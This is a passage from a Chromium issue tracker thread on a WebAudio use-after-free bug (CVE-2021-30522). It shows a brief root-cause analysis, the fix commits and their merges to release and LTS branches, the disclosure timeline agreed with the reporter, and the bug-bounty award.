    AudioBus* destination_bus,
    uint32_t number_of_frames,
    const AudioIOPosition& output_position,
    const AudioCallbackMetric& metric) {
[...]
  context->HandlePreRenderTasks(&output_position, &metric);

  // Only pull on the audio graph if we have not stopped the destination.  It
  // takes time for the destination to stop, but we want to stop pulling before
  // the destination has actually stopped.
  if (IsPullingAudioGraphAllowed()) {
    // Renders the graph by pulling all the inputs to this node. This will in
    // turn pull on their inputs, all the way backwards through the graph.
    scoped_refptr<AudioBus> rendered_bus =
        Input(0).Pull(destination_bus, number_of_frames);
[...]
    }
  } else {
    destination_bus->Zero();
```

```
  }

  // Processes "automatic" nodes that are not connected to anything. This can
  // be done after copying because it does not affect the rendered result.
  context->GetDeferredTaskHandler().ProcessAutomaticPullNodes(number_of_frames);

  context->HandlePostRenderTasks();
[...]
}
```

`HandlePostRenderTasks` and `HandlePostRenderTasks`, which are supposed to update the dirty rendering output node list of `gCMNode`, aren't able do that because they can't acquire the lock, so `Pull()` ends up using a dangling `AudioNodeOutput` pointer.

Comment 38 by rtoy@chromium.org on Tue, Apr 27, 2021, 10:28 AM EDT Project Member

Thanks for the nice analysis. I missed the fact that HandlePostRenderTask wasn't getting the lock to update the state.

Comment 39 by rtoy@chromium.org on Tue, May 4, 2021, 12:23 PM EDT Project Member

Removing the check for isPullingAudioGraph fixes the crash. However, running git blame shows that this was introduced to fix ~~issue 1003807~~ and ~~issue 1017061~~. I'll need to verify that these don't happen anymore with this change. Or maybe instead of checking for the graph running we could check that the context is not closed.

Comment 40 by rtoy@chromium.org on Tue, May 4, 2021, 4:42 PM EDT Project Member

See also ~~issue 858834~~ where the check for a closed context was added to prevent leaks.

Comment 41 by rtoy@chromium.org on Wed, May 5, 2021, 4:30 PM EDT Project Member

A proposed solution is in https://chromium-review.googlesource.com/c/chromium/src/+/2874771

This fixes this UaF and doesn't regress ~~issue 1003807~~ or ~~1017061~~. However, it does cause leaks. Perhaps that's not so bad compared to UaF.

Comment 42 by hongchan@chromium.org on Mon, May 10, 2021, 11:38 AM EDT Project Member

Re #c41:

"Release" bots are filing with the patch. Do we know why?

Comment 43 by rtoy@chromium.org on Mon, May 10, 2021, 4:24 PM EDT Project Member

I think's because those tests check for nodes that should be cleaned up and they're not. So, we are leaking nodes, as stated in #c41.

Comment 44 by Git Watcher on Tue, May 11, 2021, 10:36 AM EDT Project Member

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/4a38ea3f1f78e0a0ffc1464e227cee6c1f2fd90b

commit 4a38ea3f1f78e0a0ffc1464e227cee6c1f2fd90b
Author: Raymond Toy <rtoy@chromium.org>
Date: Tue May 11 14:35:53 2021

Add AudioHandler to orphan handlers when context is suspended.

If the context is suspended, pulling of the audio graph is stopped.
But we still need to add the handler in this case so that when the
context is resumed, the handler is still alive until it can be safely
removed. Hence, we must still add the handler if the context is
suspended.

Test cases from ~~issue 1176218~~ manually tested with no failures. Also
this doesn't cause any regressions in ~~issue 1003807~~ and ~~issue 1017061~~.
(Manually tested the test cases from those issues.)

~~Bug: 1176218~~
Change-Id: Icd927c488505dfee9ff716866f98286e286d546a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2874771
Reviewed-by: Hongchan Choi <hongchan@chromium.org>
Commit-Queue: Raymond Toy <rtoy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#881533}

[modify] https://crrev.com/4a38ea3f1f78e0a0ffc1464e227cee6c1f2fd90b/third_party/blink/renderer/modules/webaudio/audio_node.cc

Comment 45 by rtoy@chromium.org on Tue, May 11, 2021, 4:54 PM EDT Project Member

Status: Fixed (was: Assigned)

The fix has landed but I'll let it bake for another day or so.

I've been unable to get clusterfuzz to reproduce this even using the test case from #c37. I don't have permissions to set the runtime flags so that could be the problem.

M-90 is current, so presumably no need to merge back to M-89.

Comment 46 by sheriffbot on Wed, May 12, 2021, 12:42 PM EDT Project Member

Labels: reward-topanel

Comment 47 by sheriffbot on Wed, May 12, 2021, 2:02 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 48 by sheriffbot on Wed, May 12, 2021, 2:22 PM EDT Project Member

Labels: Merge-Request-90 Merge-Request-91

Requesting merge to stable M90 because latest trunk commit (881533) appears to be after stable branch point (857950).

Requesting merge to beta M91 because latest trunk commit (881533) appears to be after beta branch point (738).

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 49 by sheriffbot on Wed, May 12, 2021, 2:27 PM EDT Project Member

Labels: -Merge-Request-91 Hotlist-Merge-Review Merge-Review-91

This bug requires manual review: We are only 12 days from stable.
Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://chromium.googlesource.com/chromium/src.git/+/master/docs/process/merge_request.md#when-to-request-a-merge

- Chrome OS: https://goto.google.com/cros-release-branch-merge-guidelines
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on ToT?
4. Does this change need to be merged into other active release branches (M-1, M+1)?
5. Why are these changes required in this milestone after branch?
6. Is this a new feature?
7. If it is a new feature, is it behind a flag using finch?

Chrome OS Only:
8. Was the change reviewed and approved by the Eng Prod Representative? See Eng Prod ownership by component: http://go/cros-engprodcomponents

Please contact the milestone owner if you have questions.
Owners: benmason@(Android), bindusuvarna@(iOS), marinakz@(ChromeOS), pbommana@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 50 by rtoy@chromium.org on Wed, May 12, 2021, 4:11 PM EDT Project Member

1. Mostly. No fully automated test coverage. I couldn't get clusterfuzz to reproduce the issue, bu manual testing is reliably fast.
2. https://crrev.com/c/2874771
3. Yes
4. Yes
5. UaF security bug
6. No
7. No

Comment 51 by pbommana@google.com on Wed, May 12, 2021, 4:38 PM EDT Project Member

Cc: adetaylor@chromium.org pbomm...@chromium.org

+Adetaylor(Security TPM) for Merge decision.

Comment 52 by vulnd...@sourcefire.com on Wed, May 12, 2021, 4:49 PM EDT

This bug is past our 90-day disclosure policy so please include the fix with the next release

Comment 53 by adetaylor@google.com on Wed, May 12, 2021, 5:00 PM EDT Project Member

Cc: amyressler@google.com

Thanks. We expect to get this out in initial M91 release which is in a couple of weeks (https://chromiumdash.appspot.com/schedule).

We completely understand if you want to disclose earlier, it's obviously your bug to do with as you please. As I'm sure you know our preference is to wait 14 weeks after the bug is *fixed*, in order to give a chance for the fix to roll out to stable users and (especially) for the fix to be absorbed into downstream Chromium-based browsers. It would be useful to know whether you do plan to disclose earlier than that? (I should state for the record that this may also affect any VRP reward).

NB I plan to approve merge to M91 after this has had a little more bake time in Canary.

Comment 54 by vulnd...@sourcefire.com on Wed, May 12, 2021, 5:24 PM EDT

This vulnerability was originally reported as issue 1123984 on September 1st 2020, it was marked as a duplicate of 1115901. We were able to trigger it again after that patch was released. However, since the dupe marking was reasonable from the description of that other bug, we submitted it as a new issue and restarted our 90-day disclosure timeline rather than using the date from when we originally reported it in September. It has now taken another 3 months to fix. Given this we will not be able to wait another 14 weeks after the patch is released. If the patch is expected May 25th for the stable version and June 1st for ChromeOS we can hold it until June 8th, giving stable users 2 weeks to upgrade and ChromeOS users 1 week.

Comment 55 by adetaylor@chromium.org on Wed, May 12, 2021, 6:13 PM EDT Project Member

OK, that's much appreciated.

Comment 56 by adetaylor@google.com on Mon, May 17, 2021, 12:43 PM EDT Project Member

Labels: -Merge-Review-91 Merge-Approved-91

rtoy@ I'm approving merge to M91, branch 4472.

But I would like pbommana's sign-off too, given that this is known to cause problems. Please can you add a comment here explaining the real-world impact of the leaks? Will these leaks only occur in circumstances where an attacker would previously have been trying to exploit the bug? (If so that's fine). Or might these leaks occur during legitimate uses of the API? If so I'm guessing that might not be OK. Could you check impacts on Canary since this merged? Is there any sign that the leaks are having real-world implications? Do you have a follow-up bug raised to go and fix the leaks? Please make sure pbommana knows exactly what tests are going to start failing once this lands in M91.

Comment 57 by rtoy@chromium.org on Mon, May 17, 2021, 1:40 PM EDT Project Member

The CL that landed doesn't appear to have any new leaks. A few of the tests explicitly check for leaks and these tests pass. (The are sometimes a little flaky, but I ran the testsuite multiple times locally and didn't see any.

Comment 58 by rtoy@chromium.org on Mon, May 17, 2021, 2:23 PM EDT Project Member

The original repro cases took a very long time to trigger the UaF for me (multiple hours). However, the latest test case in #c37 triggers very quickly, so it's probably a good idea to have this in place for M91 because it is easy to trigger if you have the right code.

Comment 59 by adetaylor@google.com on Mon, May 17, 2021, 2:29 PM EDT Project Member

OK great.

Comment 60 by pbommana@google.com on Mon, May 17, 2021, 2:35 PM EDT Project Member

I am good with this change to get merged to M91 branch, rtoy@ please goahead and get the change merged asap.

Comment 61 by rtoy@chromium.org on Mon, May 17, 2021, 2:40 PM EDT Project Member

Merge CL: https://crrev.com/c/2900808

Comment 62 by Git Watcher on Mon, May 17, 2021, 4:47 PM EDT Project Member

Labels: -merge-approved-91 merge-merged-4472 merge-merged-91

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/ebb6412dabe9d7747887af3ac73a403505e6a3a2

commit ebb6412dabe9d7747887af3ac73a403505e6a3a2
Author: Raymond Toy <rtoy@chromium.org>
Date: Mon May 17 20:46:19 2021

Add AudioHandler to orphan handlers when context is suspended.

If the context is suspended, pulling of the audio graph is stopped.
But we still need to add the handler in this case so that when the
context is resumed, the handler is still alive until it can be safely
removed. Hence, we must still add the handler if the context is
suspended.

Test cases from ~~issue 1176218~~ manually tested with no failures. Also
this doesn't cause any regressions in ~~issue 1003807~~ and ~~issue 1017961~~.
(Manually tested the test cases from those issues.)

(cherry picked from commit 4a38ea3f1f78e0a0ffc1464e227cee6c1f2fd90b)

~~Bug: 1176218~~
Change-Id: Icd927c488505dfee9ff716866f98286e286d546a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2874771
Reviewed-by: Hongchan Choi <hongchan@chromium.org>
Commit-Queue: Raymond Toy <rtoy@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#881533}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2900808
Auto-Submit: Raymond Toy <rtoy@chromium.org>
Commit-Queue: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com>
Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com>
Cr-Commit-Position: refs/branch-heads/4472@{#1115}
Cr-Branched-From: 3d60439cfb36485e76a1c5bb7f513d3721b20da1-refs/heads/master@{#870763}

[modify] https://crrev.com/ebb6412dabe9d7747887af3ac73a403505e6a3a2/third_party/blink/renderer/modules/webaudio/audio_node.cc

Comment 63 by rtoy@chromium.org on Mon, May 17, 2021, 4:52 PM EDT Project Member

Since M91 stable is very, very soon, is there a need to merge to M90? I'm guessing it's not needed.

Comment 64 by adetaylor@chromium.org on Mon, May 17, 2021, 6:03 PM EDT Project Member

Yeah, almost certainly not. I'll keep the Merge-Request label there just in case we issue an unexpected M90 refresh, and I'll remove it when that's no longer a remote possibility.

Comment 65 by rtoy@chromium.org on Mon, May 17, 2021, 6:09 PM EDT Project Member

Works for me.

Comment 66 by amyressler@google.com on Thu, May 20, 2021, 1:08 PM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-7500

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 67 by amyressler@chromium.org on Thu, May 20, 2021, 5:16 PM EDT Project Member

Congratulations, Piotr! The VRP Panel has decided to award you $7500 for this report.

Comment 68 by adetaylor@google.com on Fri, May 21, 2021, 3:43 PM EDT Project Member

Labels: -Merge-Request-90

Comment 69 by amyressler@google.com on Fri, May 21, 2021, 5:41 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

Comment 70 by amyressler@chromium.org on Mon, May 24, 2021, 11:24 AM EDT Project Member

Labels: Release-0-M91

Comment 71 by amyressler@google.com on Mon, May 24, 2021, 2:17 PM EDT Project Member

Labels: CVE-2021-30522 CVE_description-missing

Comment 72 by janag...@google.com on Tue, May 25, 2021, 9:55 AM EDT Project Member

Cc: janag...@google.com
Labels: LTS-Security-86 LTS-Merge-Request-86

Comment 73 by gianluca@google.com on Wed, May 26, 2021, 11:49 AM EDT Project Member

Labels: -LTS-Merge-Request-86 LTS-Merge-Approved-86

Comment 74 by Git Watcher on Wed, May 26, 2021, 12:07 PM EDT Project Member

Labels: merge-merged-4240

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/ff0d013f60fa816c494ea17bdf66de28f21cba86

commit ff0d013f60fa816c494ea17bdf66de28f21cba86
Author: Raymond Toy <rtoy@chromium.org>
Date: Wed May 26 16:06:10 2021

[86-LTS] Add AudioHandler to orphan handlers when context is suspended.

If the context is suspended, pulling of the audio graph is stopped.
But we still need to add the handler in this case so that when the
context is resumed, the handler is still alive until it can be safely
removed. Hence, we must still add the handler if the context is
suspended.

Test cases from ~~issue 1176218~~ manually tested with no failures. Also
this doesn't cause any regressions in ~~issue 1003807~~ and ~~issue 1017961~~.
(Manually tested the test cases from those issues.)

(cherry picked from commit 4a38ea3f1f78e0a0ffc1464e227cee6c1f2fd90b)

~~Bug: 1176218~~
Change-Id: Icd927c488505dfee9ff716866f98286e286d546a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2874771
Commit-Queue: Raymond Toy <rtoy@chromium.org>

Cr-Original-Commit-Position: refs/heads/master@{#881533}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2917093
Reviewed-by: Raymond Toy <rtoy@chromium.org>
Reviewed-by: Victor-Gabriel Savu <vsavu@google.com>
Commit-Queue: Jana Grill <janagrill@google.com>
Cr-Commit-Position: refs/branch-heads/4240@{#1648}
Cr-Branched-From: f297677702651916bbf65e59c0d4bbd4ce57d1ee-refs/heads/master@{#800218}

[modify] https://crrev.com/ff0d013f60fa816c494ea17bdf66de28f21cba86/third_party/blink/renderer/modules/webaudio/audio_node.cc

Comment 75 by janag...@google.com on Wed, May 26, 2021, 12:22 PM EDT Project Member

Labels: -LTS-Merge-Approved-86 LTR-Merged-86

Comment 76 by amyressler@google.com on Mon, Jun 7, 2021, 3:26 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted

Comment 77 by asumaneev@google.com on Mon, Jun 7, 2021, 3:36 PM EDT Project Member

Labels: LTS-Security-90 LTS-Merge-Request-90

Comment 78 by sheriffbot on Tue, Jun 8, 2021, 12:22 PM EDT Project Member

Labels: -M-90 M-91 Target-91

Comment 79 by gianluca@google.com on Wed, Jun 9, 2021, 10:46 AM EDT Project Member

Labels: -LTS-Merge-Request-90 LTS-Merge-Approved-90

Comment 80 by Git Watcher on Wed, Jun 9, 2021, 12:47 PM EDT Project Member

Labels: merge-merged-4430 merge-merged-90

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/ee6aee64e24c0b9c8f4cfaa8354af923e17c38ba

commit ee6aee64e24c0b9c8f4cfaa8354af923e17c38ba
Author: Raymond Toy <rtoy@chromium.org>
Date: Wed Jun 09 16:46:08 2021

[M90-LTS] Add AudioHandler to orphan handlers when context is suspended.

If the context is suspended, pulling of the audio graph is stopped.
But we still need to add the handler in this case so that when the
context is resumed, the handler is still alive until it can be safely
removed. Hence, we must still add the handler if the context is
suspended.

Test cases from ~~issue 1176218~~ manually tested with no failures. Also
this doesn't cause any regressions in ~~issue 1003807~~ and ~~issue 1017961~~.
(Manually tested the test cases from those issues.)

(cherry picked from commit 4a38ea3f1f78e0a0ffc1464e227cee6c1f2fd90b)

~~Bug: 1176218~~
Change-Id: Icd927c488505dfee9ff716866f98286e286d546a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2874771
Reviewed-by: Hongchan Choi <hongchan@chromium.org>
Commit-Queue: Raymond Toy <rtoy@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#881533}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2944893
Commit-Queue: Artem Sumaneev <asumaneev@google.com>
Owners-Override: Artem Sumaneev <asumaneev@google.com>
Reviewed-by: Achuith Bhandarkar <achuith@chromium.org>
Cr-Commit-Position: refs/branch-heads/4430@{#1508}
Cr-Branched-From: e5ce7dc4f7518237b3d9bb93cccca35d25216cbe-refs/heads/master@{#857950}

[modify] https://crrev.com/ee6aee64e24c0b9c8f4cfaa8354af923e17c38ba/third_party/blink/renderer/modules/webaudio/audio_node.cc

Comment 81 by asumaneev@google.com on Wed, Jun 9, 2021, 12:48 PM EDT Project Member

Labels: -LTS-Merge-Approved-90 LTS-Merged-90

Comment 82 by sheriffbot on Wed, Sep 15, 2021, 1:31 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot